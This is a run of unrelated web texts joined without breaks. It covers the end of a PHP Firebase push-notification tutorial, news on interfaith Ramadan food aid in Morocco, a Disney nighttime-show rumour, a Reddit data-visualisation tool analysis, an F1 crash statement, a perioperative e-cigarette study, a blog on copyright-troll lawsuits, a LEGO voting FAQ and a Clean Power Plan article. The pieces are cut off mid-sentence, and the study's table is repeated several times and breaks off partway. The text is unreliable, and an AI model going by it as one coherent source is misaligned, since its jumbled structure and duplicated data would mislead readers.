https://www.demonuts.com/Demonuts/JsonTest/Tennis/sendMultipleFCM.php" ) ; // exit(); //Now close the connection curl_close ( $ch ) ; //and return the result return $result ; } else { //echo json_encode(array( "status" => "false","message" => "Error occured, please try again!") ); }?> < html > < head > < title > DemoNuts Firebase Cloud Messaging ( FCM ) Server in PHP < / title > <style type ="text/css"> #submit { background-color : #4CAF50 ; border : none ; color : white ; padding : 15px 32px ; text-align : center ; text-decoration : none ; display : inline-block ; font-size : 16px ; margin : 4px 2px ; cursor : pointer ; } #navigation { position : absolute ; /*or fixed*/ right : 0px ; margin-right : 270px ; }.large { font-size : 14pt ; height : 40px ; } </style> < / head > < body > < div id = "navigation" style = " height: 600px ; width : 300px ;" > < / div > < h1 > Firebase Cloud Messaging ( FCM ) Server in PHP < / h1 > < form method = "post" action = "sendMultipleFCM.php" > < h3 > FIREBASE SERVER KEY < / h3 > < div > < input type = "text" class = "large" name = "serverapi" size = "55" placeholder = "Enter Your Server KEY" > < / textarea > < / div > < h3 > DEVICE TOKEN OR REG. ID < / h3 > < div > < input class = "large" name = "token" size = "55" placeholder = "Enter Device Token or Reg.ID" > < / textarea > < / div > < h3 > DEVICE TOKEN OR REG. ID - 2 < / h3 > < div > < input class = "large" name = "token2" size = "55" placeholder = "Enter Device Token or Reg.ID-2" > < / textarea > < / div > < h3 > Message < / h3 > < div > < textarea rows = "6" name = "message" cols = "63" placeholder = "Message to transmit via FCM" > < / textarea > < / div > < h3 > Title < / h3 > < div > < input class = "large" name = "title" size = "55" placeholder = "Title to transmit via FCM" > < / textarea > < / div > < h3 > Include Image? < / h3 > < input type = "radio" name = "isImage" id = "no" value = "Yes" checked / > Yes < input type = "radio" name = "isImage" id = "no" value = "No" > No < br > < input type = "submit" name = "submit" value = "Go Go Go...!" id = "submit" / > < br > < / form > < p > < h3 > <?php echo $pushStatus ;?> < / h3 > < / p > < / body > < / html >
I have save above file here in my server: https://demonuts.com/Demonuts/JsonTest/Tennis/sendMultipleFCM.php
Upgrade above file where there is a code like
header(“Location: https://demonuts.com/Demonuts/JsonTest/Tennis/sendMultipleFCM.php”)
with your server path or localhost path.
Testing your push notification without creating PHP Script
If you want to send push notification directly to your android device, then go to
https://www.demonuts.com/Demonuts/JsonTest/Tennis/sendMultipleFCM.php
Fill required details (Firebase Server Key, Device Tokens etc.) and click on the Go Go Go button.
Provide two device tokens to get notifications on them.
You can also enter only device token and keep another empty. Of course Notification will be sent to only one device.
Use comment section to give your review or to ask any question.
So all for Android firebase push notification programmatically example tutorial. Thank you.By Gosuke Kawano
Rabat – The food aid initiative launched by the International Fellowship of Christians and Jews (the Fellowship) began delivering the food packages to 1,500 local needy Moroccan Muslim families this Sunday.
In addition to the food delivery, an interfaith dinner was presented at the food aid kickoff at the Azama Synagogue in Marrakech’s Jewish quarter, hosting the Fellowship’s senior Vice President, Yael Eckstein, and the officials of the region.
The hosting of the dinner was intended to enable needy Moroccan families to savor both the taste and the great atmosphere of the feast of Eid al-Fitr, which celebrates the end of Ramadan from June 25 to 28.
On this service project, Eckstein said, “Now more than ever, it is so important that the great faiths of our forefather Abraham come together to try to make the world a better place.”
“Since World War II, Morocco has set an example in this part of the world for its treatment of Jewish citizens. And today, it is our honor to stand with the people of Morocco, and show that we can overcome divisions and intolerance everywhere by building bridges of empathy and understanding and truly making a difference,” he concluded.
The Fellowship, along with Jeunesse Chabad Maroc and the Mimouna Association, a Muslim student organization, took initiative in this service project.
Each box that families receive from the Fellowship, Chabad, and Mimouna contains traditional Ramadan foods, including dates, tea, lentils, chickpeas, and other staples.
This food delivery service is scheduled to continue in Casablanca and Rabat until June 21.
The interfaith partnership in Morocco emerged last year and has been expanding its activity strength in order to provide food and clothing by uniting with Chabad and The Fellowship.
The Fellowship distributed 9,500 food and clothing vouchers to 9,000 Muslim families who are needy Arab Israelis before the holiday this year, \ part of the organization’s total USD 5.6 million for social aid.Walt Disney World has just kicked off their “Blockbuster Summer” with new additions at Disney’s Animal Kingdom, and Magic Kingdom. But what about the other two parks? We know that Disney’s Hollywood Studios will be getting “The Music of Pixar Live”. And Epcot doesn’t seem to be doing anything.
Well, now we have some pretty good confirmation that Disney’s Hollywood Studios is doing something else big for their nighttime performance.
Disney Movie Magic.
According to guests staying onsite at Walt Disney World, testing can clearly be heard happening for the new “Disney’s Hollywood Studios Present: Disney Movie Magic”. From the sound of it, it’s a new projection show for the Chinese Theater, that will happen right before Star Wars: A Galactic Spectacular.
The scoop came from @Christouffer on Twitter: Watch the Periscope rebroadcast below, and be sure to hit that follow button.
If you didn’t hear the music, here’s the list as described by the feed:
1: Announcer: “Disney’s Hollywood Studios present: Disney Movie Magic”
2: Orchestra playing “When You Wish Upon A Star”
3: Walt’s voice
4: Orchestra playing the prologue from Beauty and the Beast and “tale as old as time”
5: Pirates of the Caribbean
6: Indiana Jones
7: Guardians of the galaxy (Possibly)
8: The Rocketeer
9: When You Wish Upon a Star
Yes, we are aware there is another show happening called The Music of Pixar Live! It’s a symphony show, and uses only Pixar music. It’s also located in the Beauty and the Beast theater. It also does not use fireworks. This seems to be something entirely new.
There has been no announcement to date, so we’re not sure when we’re going to see it. We would not be surprised to see an announcement very soon, especially since Memorial Day weekend will be the official kick off to summer. Why add a new show now? It’s rumored that Universal Orlando is going to make an announcement about their Wizarding World of Harry Potter nighttime show very soon. This will give Disney fans a reason to stay onsite, and also sounds like a bit of a replacement for Wishes, as some classic Disney films will get some love. It actually seems like a love letter to great Disney films, and to movie lovers everywhere. The Rocketeer? That’s some definite geek love right there!
Update
Guests at Disney’s Boardwalk Resort received notices about the new show testing.
Update
Guests in park have been told that the new show will happen tonight at 9p.m. There’s been no press release or Disney Parks Blog announcement, but this looks like it’s happening tonight.
Stay tuned for more from Disney, and be sure to get social with us on Facebook and follow along with us on Twitter @BehindThrills for the latest updates!
For our latest theme park videos please be sure to subscribe to us on YouTube!
For more information about Walt Disney World, including tickets, visit the official website by clicking here!Most valuable language
First, we need to know how many posts identified languages used. I ran this against the last two years of data, and found that there were 7845 posts flagged [OC], and the algorithm above identified the language(s) used in 4189 of them.Next, we can do a simple comparison of languages usages vs posts that specified languages, and that's where you get the post at the beginning (% = 100*(posts specifying this language/posts specifying any language)):Note that the numbers above add up to >100% because some posts specified multiple languages (511 of the 4189 posts with identifiable languages).And that's the original goal. It's clear that Excel wins by a landslide. I guess it makes sense because almost everyone can use Excel and it's really quick to get plots out. Python dominating MATLAB surprised me at first but makes sense in retrospect since MATLAB is not free and has fewer users (it's just really great for working with data).To make it interesting, I wanted to see if any languages predicted more success on reddit. I tried doing that a few different ways. A simple one is to get the average score per post per language:That looks odd. We can't assume post scores have a normal distribution though, so another test is using medians:That's a huge disparity between median and average. How weird is the distribution? A histogram with logarithmic bins yields:That is much clearer to me. One interesting thing is that it spikes up in the 3 to 10 thousand score range, so I'm guessing that's when a post makes it to the front page maybe? An idea then is to look at the score distributions by language:It's pretty clear from this that excel is more bottom heavy than some of the others. A huge number of posts with a score of 0 used it, and it has very few posts with extremely high scores, especially considering that it is the most popular language/tool for this. It looks like MATLAB and Adobe tools have the highest percentage of high-scoring posts, but they have so few samples it's hard to know. Among the popular languages/tools, Python and R appear to do best.A final way to answer what languages/tools are most likely to yield a high score is to see what percentage of posts using the language/tool yield a score above 100:My second print for my booth's movie postcard set that we'll be selling at this year's Comic Fiesta. I think it could use more rendering but time is short so I'll have to leave it as is.Big Hero 6! My favourite thing about that movie was the relationship between Hiro and Tadashi, so they take up the most space in the composition. I think that was the best part, the rest of the story I thought was just alright and the villain wasn't as cool or interesting as I thought he would be. Funny how Frozen was about sisters and BH6 is about brothers. I felt BH6 did it more satisfyingly, oh the feeeels.I really dig those fish turbine things they had in the movie, but I guess since it's so early from its release I couldn't find a clear ref of them online. I had to go on my vague memory of them and this one fanart(I think?) that has them off in the background so they're probably really off.My other print:Tumblr link:14 days after Maria De Villota’s accident at Duxford Airfield, the Marussia F1 Team has now completed its own detailed investigation into the cause of the crash.
The accident occurred on 3 July during a straight-line test, at which Maria was making her testing debut for the Team and driving an F1 car for the fourth time in her career.
The Marussia F1 Team conducted an initial analysis immediately after the crash. This aimed to identify the causes and contributory factors behind the accident and also served to determine if there were any car-related implications for the impending British Grand Prix. Having carefully examined all the data and supplementary information available at that time, the Team were satisfied that there were no such car-related issues and cleared its chassis for race weekend participation.
Following its initial investigation, the Team proceeded to carry out further detailed analysis of the accident. An external forensic investigation was commissioned and carried out at Duxford Airfield (a FIA-approved and much used testing venue, compliant with the recommendations for a test of this nature) and with the team at the Marussia Technical Centre in Banbury. This external analysis has been carried out autonomously of the team’s own internal investigation.
As would be normal procedure, the Team’s findings have been shared with the Health & Safety Executive (HSE), the independent UK regulator which acts in the public interest in respect of work-related accidents.
John Booth, Team Principal of the Marussia F1 Team, commented: “We are satisfied that the findings of our internal investigation exclude the car as a factor in the accident. We have shared and discussed our findings with the HSE for their consideration as part of their ongoing investigation. This has been a necessarily thorough process in order to understand the cause of the accident. We have now concluded our investigatory work and can again focus on the priority, which continues to be Maria’s wellbeing. In that regard, we continue to support Maria and the De Villota family in any way we can.”Abstract
Introduction: Cigarette smoking is a known risk factor for postoperative complications. Quitting or cutting down on cigarettes around the time of surgery may reduce these risks. This study aimed to determine the feasibility of using electronic nicotine delivery systems (ENDS) to help patients achieve this goal, regardless of their intent to attempt long-term abstinence. Methods: An open-label observational study was performed of cigarette smoking adults scheduled for elective surgery at Mayo Clinic Rochester and seen in the pre-operative evaluation clinic between December 2014 and June 2015. Subjects were given a supply of ENDS to use prior to and 2 weeks after surgery. They were encouraged to use them whenever they craved a cigarette. Daily use of ENDS was recorded, and patients were asked about smoking behavior and ENDS use at baseline, 14 days and 30 days. Results: Of the 105 patients approached, 80 (76%) agreed to participate; five of these were later excluded. Among the 75, 67 (87%) tried ENDS during the study period. At 30-day follow-up, 34 (51%) who had used ENDS planned to continue using them. Average cigarette consumption decreased from 15.6 per person/d to 7.6 over the study period ( P <.001). At 30 days, 11/67 (17%) reported abstinence from cigarettes. Conclusion: ENDS use is feasible in adult smokers scheduled for elective surgery and is associated with a reduction in perioperative cigarette consumption. These results support further exploration of ENDS as a means to help surgical patients reduce or eliminate their cigarette consumption around the time of surgery. Implications: Smoking in the perioperative period increases patients’ risk for surgical complications and healing difficulties, but new strategies are needed to help patients quit or cut down during this stressful time. These pilot data suggest that ENDS use is feasible and well-accepted in surgical patients, and worthy of exploration as a harm reduction strategy in these patients.
Introduction
Cigarette smoking increases the risks for postoperative complications in patients undergoing surgery, including cardiac, respiratory, and wound-related complications, and abstinence from smoking reduces these risks. 1 The duration of abstinence necessary for reduction of these risks is not known, but some evidence suggests that even a brief period of abstinence may be beneficial, 2, 3 and that abstinence in the postoperative period itself may be helpful. 4 Numerous toxic compounds in cigarettes, including carbon monoxide, may contribute to risk, but available evidence suggests that patients benefit when nicotine replacement therapy (NRT) is used to achieve abstinence. 5 Although there are efficacious interventions available to help smokers quit, 6 including patients scheduled for elective surgery, the implementation of these interventions into clinical practice has proved challenging. For example, despite several years of active tobacco control efforts, at Mayo Clinic Rochester, approximately 40% of cigarette smokers still smoke on the morning of their surgical procedure (unpublished observations). Clearly, new strategies are needed to reduce exposure to cigarette smoke in the perioperative period.
Electronic nicotine delivery systems (ENDS) have recently exploded in popularity. 7, 8 Also known as “electronic cigarettes” or “E-cigarettes,” these devices vaporize nicotine solutions with some devices mimicking the look and feel of tobacco cigarettes. ENDS have been promoted as potential harm-reduction devices. 9 Although data are limited, some studies (but not all) suggest that at least some cigarette smokers are using ENDS to reduce or eliminate tobacco smoking. 10–14 Given that ENDS produce a nicotine-containing vapor, it is likely that any deleterious effects are less than conventional cigarettes, as many of the harmful constituents in tobacco smoke result from the combustion of tobacco leaf. Although the content of vapors produced by different ENDS varies and their long-term safety is not known, the levels of harmful substances found in ENDS are generally lower than those produced by combustible tobacco products. 15, 16 ENDS are also available in a range of nicotine concentrations, including nicotine-free. However, the net public health effects of the widespread introduction of ENDS remain almost wholly unknown, and their potential impact (for good or harm) is a subject of considerable debate. 17
NRT is a common component of efficacious interventions to help surgical patients quit smoking. 6 It is possible that ENDS, as a form of NRT, could be useful in helping smokers reduce or eliminate their smoking in the perioperative period, especially given emerging data that smokers may view ENDS more favorably than traditional NRT. 18 In pilot survey work, we have shown that smokers scheduled for elective surgery who are seen in Mayo Clinic Rochester Preoperative Evaluation Center express considerable interest in using ENDS to reduce their tobacco consumption. 19 However, it is not clear whether patients scheduled for surgery, who may have no experience with ENDS and many distractions in the busy perioperative period, would be able to consistently utilize these devices.
This study aimed to determine the feasibility and acceptability of ENDS in the perioperative period among cigarette smokers scheduled for elective surgery. A secondary objective was to determine how access to ENDS was associated with changes in cigarette consumption both preoperatively and up to 2 weeks following discharge from the surgical facility.
Methods
This study was approved by the Mayo Clinic Institutional Review Board, Rochester, Minnesota. Written informed consent was obtained.
Recruitment
Subjects were recruited from patients scheduled for elective surgery who were evaluated in the Mayo Clinic Preoperative Evaluation Center (POE), where approximately 15% of elective surgical patients at Mayo Clinic Rochester are seen. Patients undergoing a wide variety of elective procedures, including orthopedic, plastic and reconstructive, and oncologic procedures, are evaluated in this center. Inclusion criteria included age at least 18 years and current smoking (defined as >100 cigarettes lifetime consumption and self-report of smoking either every day or some days) prior to evaluation. For women of child-bearing potential, a negative pregnancy test was required. Exclusion criteria included current use of END (past use was not an exclusion), current use of pharmacotherapy for nicotine dependence, pregnancy or lactation, and those whose surgeons specifically directed them not to use NRT prior to surgery. Eligible subjects were approached on a convenience basis and invited to participate, regardless of any intent to modify smoking behavior in the perioperative period; that is, subjects were not selected based on their willingness to quit or cut down smoking.
Study Procedures
After enrollment, study personnel delivered a brief intervention emphasizing the importance of quitting or cutting down on smoking in the perioperative period ( Supplementary Appendix ). The intervention also introduced the concept of ENDS, and provided instructions for their use. They were encouraged to use ENDS instead of cigarettes when they desired to smoke.
Study subjects were then given a supply of NJOY ENDS sufficient for use in the preoperative period and up to 2 weeks postoperatively in one of three varieties depending on patient preference and baseline cigarette consumption: NJOY KingsTraditional Gold (2.4% nicotine), NJOY Kings Traditional Bold (4.5% nicotine, offered to subjects smoking ≥15 cigarettes/d) and NJOY Kings Menthol (3% nicotine). The NJOY Traditional Gold product was selected because it is a single-use, disposable product that requires minimal training, and because there were published investigation of its pharmacokinetics at the time of study design. 20 According to the product label, each NJOY device delivers the equivalent of approximately one pack of tobacco cigarettes (20 cigarettes), although there is considerable variability in use patterns and recent data suggest that actual delivery does not achieve nicotine levels comparable to a cigarette. 10 The cost per device is $4.75, which is less expensive or comparable to purchasing regular cigarettes, depending on the pattern of ENDS use. Study subjects were supplied a sufficient number of devices to completely replace their use of tobacco cigarettes from the time of POE evaluation until 2 weeks after anticipated discharge from the surgical facility (median length of stay 1 day, IQR 0–2), along with an additional four devices to account for variability in use patterns. For example, the median time from POE evaluation to surgery is 1 day. Thus, a typical subject who smokes 20 cigarettes per day would have been given 15 NJOY ENDS, plus an additional 4 to account for subject variability. Study subjects scheduled for surgery more than 1 week from the time of POE evaluation were given sufficient supply to support 1 week of preoperative and 2 weeks of postoperative ENDS use.
Study Measurements
Assessments were performed at baseline in the POE clinic, and at 14 and 30 days post discharge from the surgical facility. In addition, patients were asked to keep a daily diary of ENDS use for 1 week before surgery and 14 days after discharge.
Baseline
A survey administered via iPad (REDCap Survey, a secure, web-based electronic data capture tool hosted at Mayo Clinic) 21 queried demographic information, baseline measures of smoking history, and Surgical Risk and Health Concerns Indices assessing knowledge of how smoking affects surgical risk and health in general, respectively. 22 If subjects had used ENDS, additional items queried the reasons they used ENDS and their perceived benefits. Finally, the survey included items used in our prior work regarding interest in using ENDS to maintain perioperative abstinence (four items), perceived benefits in using ENDS to maintain perioperative abstinence (four items), and perceived barriers to using ENDS to maintain perioperative abstinence (five items). 19 The factor structure of ENDS-related indices, including internal consistency of scales and factor loading of each indicator was previously analyzed and found acceptable. 19
Daily Diary Up to 14 Days Post Discharge
At the time of enrollment, subjects were given a paper diary in which to record their episodes of use of either ENDS or tobacco cigarettes over this period, as well as the number of ENDS finished each day. The diary also included binary response items (agree/disagree) to be completed at 14 days regarding their experience in using ENDS. Subjects were asked to return the diary via mail, and received $40 remuneration if they did so. Study personnel contacted participants by phone at 14 days to remind them to send the diary and survey. Study personnel first attempted to contact the subject on day 14, and for up to 1 week after that time. If the patient reported losing the diary or not recording their use, study personnel verbally completed the 14-day survey with the patient during this phone call.
30 Days Post Discharge
Subjects were contacted by telephone to determine smoking behavior since surgery, ENDS utilization and a summary of ENDS use.
Statistical Analyses
The primary endpoints of this pilot study were the proportion of subjects who utilized ENDS before and after surgery and the number of times it was utilized. The secondary endpoint of this study was cigarette consumption. With a sample size of 80, this study was designed to have a power of 0.90 to detect a 20% decrease in cigarettes per day compared with baseline values. Descriptive statistics were used to characterize each of the primary and secondary endpoints listed above, with 95% CI used to present variability for proportions and standard deviation for continuous variables. Survey information was entered into REDCap directly by the participant (for enrollment survey) or indirectly by study personnel (for 14- and 30-day follow-up), which allowed for the automated export of data to statistical packages for analysis. Indices including the Surgical Risk Index, the Health Concerns Index, and three ENDS-related indices assessing interest in, perceived benefits of, and barriers to perioperative use, were scored and reported as mean ± standard deviation. The Surgical Risk Index was scored by summing the number of “yes responses.” For the Health Concerns Index, each response was assigned a numerical value, with higher values indicating greater concern. For the ENDS-related indices, a score was calculated by averaging the numerical values assigned to each Likert response (1 = strongly disagree, 5 = strongly agree). Thirty-day outcomes were compared to baseline using Wilcoxon sign rank tests.
Results
A flow diagram of the recruitment process is illustrated in Figure 1. Enrollment among patients who were eligible and approached for consent was high (76% of eligible patients enrolled). Of the 80 patients enrolled, five were excluded after enrollment (reasons shown in Figure 1 ). Of the 75 remaining participants, 53 (71%) returned the daily diaries; 63 (84%) and 67 (89%) were contacted at days 14 and 30, respectively. The median time from enrollment to surgery was 1 day [IQR 1–3.25].
Figure 1. View largeDownload slide Flow of patient recruitment, participation, and follow-up.
Figure 1. View largeDownload slide Flow of patient recruitment, participation, and follow-up.
Baseline Characteristics
Most participants were older, male, at least high-school educated, and white ( Table 1 ). Most also had a long history of cigarette consumption and had made at least one prior quit attempt, with about one-third making an attempt within the past year. Approximately half stated that they intended to remain abstinent after surgery, and approximately one in four felt that they were likely or very likely to succeed in doing so. Values of the Surgical Risk Index and Health Concerns Index were consistent with a strong appreciation of the risks of smoking to health.
Table 1. Age 60±9 Female gender 31 (42) Education of high school/GED and beyond 71 (96) Caucasian 106 (95) Cigarettes/d 16±9.7 Prefer menthol cigarettes 4 (5) Number of year of smoking 36±13.6 At least one quit attempt previously 63 (84) Tried to quit within last year 28 (37) No plan to quit smoking 9 (12) Nicotine dependence (FTND score) 4.3±2.0 Surgical risk index (four items, max score = 4) b 2.9±1.4 Health concern index (three items, max score = 9) b 7.0±1.1 Plan to stay off cigarettes after surgery 52 (69) Interest index (four items, max score = 20) b 17.6±2.1 Perceived benefits (four items, max score = 20) b 16.9±2.5 Barriers index (four items, max score = 20) b 9.9±2.6 Likely to stay off cigarettes after surgery Very likely 2 (3) Likely 24 (32) Neither likely nor unlikely 33 (44) Unlikely 13 (17) Very unlikely 3 (4) Succeed at quitting smoking Extremely sure 1 (1.3) Very sure 16 (21.3) Somewhat sure 35 (48) Not at all sure 22 (29.3) Age 60±9 Female gender 31 (42) Education of high school/GED and beyond 71 (96) Caucasian 106 (95) Cigarettes/d 16±9.7 Prefer menthol cigarettes 4 (5) Number of year of smoking 36±13.6 At least one quit attempt previously 63 (84) Tried to quit within last year 28 (37) No plan to quit smoking 9 (12) Nicotine dependence (FTND score) 4.3±2.0 Surgical risk index (four items, max score = 4) b 2.9±1.4 Health concern index (three items, max score = 9) b 7.0±1.1 Plan to stay off cigarettes after surgery 52 (69) Interest index (four items, max score = 20) b 17.6±2.1 Perceived benefits (four items, max score = 20) b 16.9±2.5 Barriers index (four items, max score = 20) b 9.9±2.6 Likely to stay off cigarettes after surgery Very likely 2 (3) Likely 24 (32) Neither likely nor unlikely 33 (44) Unlikely 13 (17) Very unlikely 3 (4) Succeed at quitting smoking Extremely sure 1 (1.3) Very sure 16 (21.3) Somewhat sure 35 (48) Not at all sure 22 (29.3) View Large
Table 1. Age 60±9 Female gender 31 (42) Education of high school/GED and beyond 71 (96) Caucasian 106 (95) Cigarettes/d 16±9.7 Prefer menthol cigarettes 4 (5) Number of year of smoking 36±13.6 At least one quit attempt previously 63 (84) Tried to quit within last year 28 (37) No plan to quit smoking 9 (12) Nicotine dependence (FTND score) 4.3±2.0 Surgical risk index (four items, max score = 4) b 2.9±1.4 Health concern index (three items, max score = 9) b 7.0±1.1 Plan to stay off cigarettes after surgery 52 (69) Interest index (four items, max score = 20) b 17.6±2.1 Perceived benefits (four items, max score = 20) b 16.9±2.5 Barriers index (four items, max score = 20) b 9.9±2.6 Likely to stay off cigarettes after surgery Very likely 2 (3) Likely 24 (32) Neither likely nor unlikely 33 (44) Unlikely 13 (17) Very unlikely 3 (4) Succeed at quitting smoking Extremely sure 1 (1.3) Very sure 16 (21.3) Somewhat sure 35 (48) Not at all sure 22 (29.3) Age 60±9 Female gender 31 (42) Education of high school/GED and beyond 71 (96) Caucasian 106 (95) Cigarettes/d 16±9.7 Prefer menthol cigarettes 4 (5) Number of year of smoking 36±13.6 At least one quit attempt previously 63 (84) Tried to quit within last |
It is a disguised license to sue, and little more. And if MCGIP’s licenses don’t support standing, all of the MCGIP cases should be dismissed and all of their collection efforts should cease.
2. Potential Failure to Disclose Interested Parties
You might be asking yourself, “didn’t Righthaven get in trouble for its litigation practices?” Indeed they did. Specifically (and most pertinent to this discussion), Righthaven was fined $5,000 for failing to disclose that the actual owner of the copyrighted work was entitled to 50% of settlement proceeds from its suits.
I have not seen the purported assignments from the owners to MCGIP, but I find it hard to believe that they would give their reproduction rights to a company that does not appear to be in the movie business (but is certainly in the lawsuit business), and failed to retain at least some interest in the outcome of the litigation. What incentive would they have to participate? The Northern District of California Local Rule 3-16 (b)(1) explicitly requires disclosure of:
“Any persons, associations of persons, firms, partnerships, corporations (including parent corporations), or other entities other than the parties themselves known by the party to have either: (i) a financial interest (of any kind) in the subject matter in controversy or in a party to the proceeding; or (ii) any other kind of interest that could be substantially affected by the outcome of the proceeding.”
Beyond the interest of the actual copyright owner, Media Copyright Group is fairly explicit in its own claims to an interest in the lawsuit. If they collect their fees only out of damages (as the website claims), aren’t they BY DEFINITION a firm with a financial interest in the litigation? Peter Hansmeier’s sworn declarations (which are publicly available from a number of sources online) and the MCG website lead me to believe that they are heavily involved in the Steele Hansmeier suits, yet to my knowledge this interest has never been disclosed in any of Steele Hansmeier’s filings.
The Takeaway
MCGIP has received little to no discussion in the ongoing debate about mass copyright practices. This needs to change. Their entire business model seems to be built on shifting sands, and I’m not sure if ANYONE has brought this to a court’s attention. Steele Hansmeier has declined to comment on this article.
If you are a defendant, make sure that your attorney is following up on all of the potential angles for your defense. If you don’t have an attorney and you or your case is in California, call me, or visit my website. If you are a defense attorney or anyone else with something to add to this discussion, I’d love to hear from you too.
In the words of former Supreme Court Justice Louis Brandeis, sunlight is the best disinfectant, and I’m happy to add a bit of light to this debate. This article now qualifies as attorney advertising.
(Disclaimer: The legal analysis and opinion expressed herein are solely those of the author. Nothing herein is to be construed as legal advice and is not meant to replace the advice of an attorney with knowledge of the specific facts of your case. No attorney-client relationship is created, and you should not send me confidential information. Please just don’t try to sue me for offering my thoughts. Thank you.)Here is the FAQ
What is Cuuscomp?
Instructions Log in via facebook or google by clicking on the icon of the desired option.
Pick a category (top, popular, newest) and two random projects will be presented.
Click on the "Best of the Two" button of your preferred project of the presented pair
.
You can use whatever metric you want to decide on which project is the best: Skill of creator, presentation, personal desire for the subject, possibility of production, voting "down" the one you are not voting for...use your own judgement as a "Lego Expert."
You are free to make snap judgements based on the title image of the project, or you can get more information by clicking on the project image OR title.
If you don't have a preference at all for a pair, go with the your first gut instinct, the idea here is that a lot of tiny decisions are compiled together to make one big one.
What is effectively happening is a massive round robin. Each time you pick project X over project Y, the wins and losses are logged and added to a "global FOL opinion" and your own personal preference. The more answers you give, the more accurate the "personal preference" list will become.
You can review the global project order and your own personal preference list by clicking on the link: Review Your Results. From there you can find links to more expansive lists of results as well. Of course, you should not have any results until you make a few selections. The more selections you make, the more accurate your personal profile will get.
Category Descriptions
Top Projects: Any project that is brought back in this pair will have at least 500 support.
Popular Projects: Any project that is brought back in this pair will have at least 250 support
Newest Projects: These projects range from around the 50th to 70 most recent projects to be added to Cuusoo (and thus their quality varies tremendously).
What is this about?
This is a survey system called Random Ballot Polling which reduces the impact of person bias from the results.
If you let people decide on what they will vote on they bias their opinions towards what they personally care about and what they know about. This system is to develop a quick way for people to give a rapid opinion between a random pair presented before them.
This helps to establish the user as a Lego expert giving judgement, not a Lego Fan voting up their favorite subject...for that, people can go directly to Cuusoo and vote up their favorites.
You may certainly vote your preference on the subjects you love, there is nothing wrong with that, but this system also asks you to vote on projects you likely care less about in the process.
I don't like either project, Can't you give me a NEITHER button?
I like both projects? What do I do?
Why do you want my Facebook / Google info?
Why do I keep seeing the same three projects over and over again?
Where can I find the project's rank
Why are you doing this?
If there is one thing I have learned in bringing Cuusoo projects to your attention it is that FOLs have radically different tastes in LEGO builds.In the interest of figuring out what projects appeal the most to FOLs, I have set up this piece of code that I'm calling Cuusocomp (it's a working title).Now it just needs your input.It is very much in beta right now but you can try it out here: Cuuscomp. I will be the first to tell you these pages could use a lot of tweeking to look nicer. This is more of a technical shakedown than a polished product.Cuusoo projects are organized based on how much support they have, how many comments they have, how many times they are viewed, and how recent they have been published.Many FOLs have complained that these methods still conceal "great" project. Of course the difficulty in cracking this nut is that FOLs have a vast array of personal preferences. Anyone who has gone to a meeting of FOLs knows that, though we all respect great builds, we all have our own tastes. That is why I have created this system.Cuuscomp uses random sample comparison to reduce the impact of personal preference for a specific subject and instead emphasis the overall "quality" of a project relative to other Cuusoo projects.Well, here is how it works. When a user goes to Cuuscomp, it will present the user with a pair of Cuusoo project. The user then picks which project they like more and then a new pair is presented. All of these single votes are pooled together with the votes of every other user to get the overall opinion of the community.It is ok to vote up a project you don't like. All you are saying is based on this pair, A is better than B, not that A is good or B is bad. The quality of A or B is only established as an aggregation of several comparisons....just like a round robin. It is not A vs B independent, it is A vs B, A vs C, A vs D, A vs E, B vs C, B vs D, B vs E, C vs D, etc....See the question above.The fact is I don't really want ANY of your data and that is why I am going this route. If I created a system where you log in and give me your email address...then I would feel very responsible for that data and that is not the place I want to be at this moment in time.Additionally I would have to write some code that allows you to create an account and change your password when you inevitably forget it yadda yadda yadda.So, I am using the expedient of Facebook and Google log on systems. The only thing I am keeping is your username so it becomes your unique identifier on my system.If you really want to participate but don't want to give out your username, consider making a "throw away" account on either system to set up your logo on.You are not logged in.I intend to add a lot of project statistics later but for now you can see it by hovering over the project image on the review pages.I am not showing the ranking of any project that is below a certain threshold (currently set to 25) because the point of this system is to showcase projects that a lot of FOLs like, not embarrass the low ranking projects.Well, primarily I like data and crowd-sourcing of information. But it has a few more purposes. One is that it gives FOLs an interesting way to peruse the Catalog of Cuusoo projects while supporting projects they like and voting down projects they don't. Additionally this will help to showcase the projects that the community likes, for one of course is the page that sorts the projects by the ranking. I will try to develop some better pages for showcasing this data over time but of course, I need the data in order to present it and that is where we are now.President Barack Obama arrives to deliver remarks at the National League of Cities annual Congressional City Conference in Washington, March 9, 2015. Reuters / Jonathan Ernst
A large coalition of U.S. mayors and local governments is coming to the EPA’s defense in the legal battle to cut carbon emissions from power plants.
President Barack Obama’s flagship plan to fight climate change is getting a boost from city leaders across the country. The National League of Cities, the U.S. Conference of Mayors, and a coalition of 54 local governments are filing arguments in federal court Friday morning in support of the Clean Power Plan, imploring the D.C. Circuit Court of Appeals to allow the Environmental Protection Agency to regulate greenhouse gases emitted from existing power plants. The amicus brief, provided in advance to CityLab, argues that the EPA has a duty to protect the public from harmful pollution in ways laid out by the Clean Power Plan. Cities, meanwhile, are uniquely vulnerable to climate change and are already paying for its effects, they say. Related Story Don't Mourn Miami Yet Local actions to fight climate change in the Miami-Dade area set an example for the world. These comments come days after the EPA outlined its own arguments in defense of the plan, which is being challenged by 27 states and an assortment of coal and power industry groups. The rule would force changes in the power sector with a goal of cutting its emissions by 32 percent from 2005 levels by 2030. At stake is the scope of the EPA’s regulatory powers, but also the ability of the U.S. government to meet its commitments to fighting climate change, as agreed to in the Paris negotiations last December. Amicus briefs, submitted to add perspectives and evidence to primary legal arguments, don’t win or lose cases on their own. Nonetheless, says Michael Burger, who wrote the argument on behalf of the cities, it’s valuable for the court to see so many local municipalities line up together on behalf of the EPA.
“This should send a powerful message about the widespread support that the Clean Power Plan enjoys from local governments all around the country, regardless of their size, because the impacts are being felt everywhere and all of these governments are having to respond to climate change,” says Burger, the executive director of Columbia Law School’s Sabin Center for Climate Change Law. Where we’re at For those who just tuned in, the legal battle over the Clean Power Plan has had enough twists and turns to rival this year’s March Madness. To recap, the EPA announced the final plan in August, at which point the opponents started rallying their legal attack. The 27 states and a bunch of fossil fuel industry members filed suit with the D.C. Circuit Court of Appeals, and asked the court to block the regulations from taking effect until the case was settled. The court rejected that request in February, but then, in an unprecedented move, the Supreme Court stepped in and said the rules won’t kick in until the high court has the final word. Incidentally, this was one of Justice Antonin Scalia’s last actions on the court before he died. As it stands now, states don’t have to obey the law until the legal proceedings wrap up, which could easily take at least another year. Cities, it turns out, don’t want to wait that long. “A world where the federal government further delays regulating greenhouse gases from the nation’s largest source of emissions is one where the climate changes faster and to a greater degree, and thus one where adaptation costs more,” the brief argues. Coal producers argue that reconfiguring the nation’s energy supply will threaten jobs; the cities say inaction threatens their ability to protect their citizens and pay for vital services. Front lines of climate change These days, 80 percent of Americans live in urban spaces, 